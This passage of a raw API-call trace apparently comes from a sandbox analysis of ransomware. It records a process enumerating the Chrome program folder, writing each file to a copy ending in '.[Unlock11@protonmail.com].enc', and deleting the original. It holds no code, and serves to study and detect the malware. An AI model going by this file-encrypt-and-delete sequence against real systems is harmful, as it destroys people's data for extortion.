nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0199.724] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.724] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0199.724] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0199.724] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0199.725] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application" (normalized: "c:\\program files (x86)\\google\\chrome\\application")) returned 0x30 [0199.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0199.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0199.726] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0199.726] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.726] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1 [0199.726] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0199.726] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="CHROME~1.XML")) returned 1 [0199.727] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bca716, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4bca716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe050290c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f46e, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="master_preferences", cAlternateFileName="MASTER~1")) returned 1 [0199.727] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0199.727] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0199.727] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0199.727] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79")) returned 0x10 [0199.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0199.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0199.728] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 0x20 [0199.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0199.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0199.728] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml")) returned 0x20 [0199.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0199.728] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences")) returned 0x20 [0199.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0199.790] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics")) returned 0x10 [0199.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0199.791] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x9bada4*="chrome.exe") returned 0x3b [0199.791] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558)) returned 1 [0199.792] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671bc4 | out: pbBuffer=0x3671bc4) returned 1 [0199.792] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.792] GetFileType (hFile=0x334) returned 0x1 [0199.793] GetFileType (hFile=0x334) returned 0x1 [0199.793] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.793] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.793] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.793] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.793] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.793] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.793] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.793] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.794] GetFileType (hFile=0x39c) returned 0x1 [0199.794] GetFileType (hFile=0x39c) returned 0x1 [0199.794] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.794] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.794] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.795] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.795] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.795] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.795] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.911] CloseHandle (hObject=0x39c) returned 1 [0199.911] CloseHandle (hObject=0x334) returned 1 [0199.911] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 1 [0199.946] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFilePart=0x9bada4*="chrome.VisualElementsManifest.xml") returned 0x52 [0199.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.946] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x197)) returned 1 [0199.946] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367150c | out: pbBuffer=0x367150c) returned 1 [0199.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0199.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0199.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0199.947] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.947] GetFileType (hFile=0x334) returned 0x1 [0199.947] GetFileType (hFile=0x334) returned 0x1 [0199.948] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.948] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.948] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.948] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.948] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.948] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.948] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.948] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.949] GetFileType (hFile=0x39c) returned 0x1 [0199.949] GetFileType (hFile=0x39c) returned 0x1 [0199.949] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.950] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.951] CloseHandle (hObject=0x39c) returned 1 [0199.951] CloseHandle (hObject=0x334) returned 1 [0199.952] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml")) returned 1 [0199.953] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", lpFilePart=0x9bada4*="master_preferences") returned 0x43 [0199.953] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0199.953] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.954] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x512e9f64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="61.0.3163.79.manifest", cAlternateFileName="610316~1.MAN")) returned 1 [0199.954] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4836ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4836ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b9e94b0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x307ef58, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0199.954] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8c182c9e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="chrome.dll.sig", cAlternateFileName="CHROME~3.SIG")) returned 1 [0199.954] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b2c23d0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="chrome.exe.sig", cAlternateFileName="CHROME~2.SIG")) returned 1 [0199.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x513c8214, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb65d3, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="chrome_100_percent.pak", cAlternateFileName="CHROME~1.PAK")) returned 1 [0199.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51f4fca4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xf37fc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="CHROME~2.PAK")) returned 1 [0199.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4a4cfe5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4a4cfe5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8ca739b6, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3b4a558, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0199.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d3b0b82, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="CHROME~1.SIG")) returned 1 [0199.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d5ecec8, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x85f58, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~2.DLL")) returned 1 [0199.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8d980738, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xa0758, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="CHROME~3.DLL")) returned 1 [0199.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51570ef4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x434b40, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0199.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="DEFAUL~1")) returned 1 [0199.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, 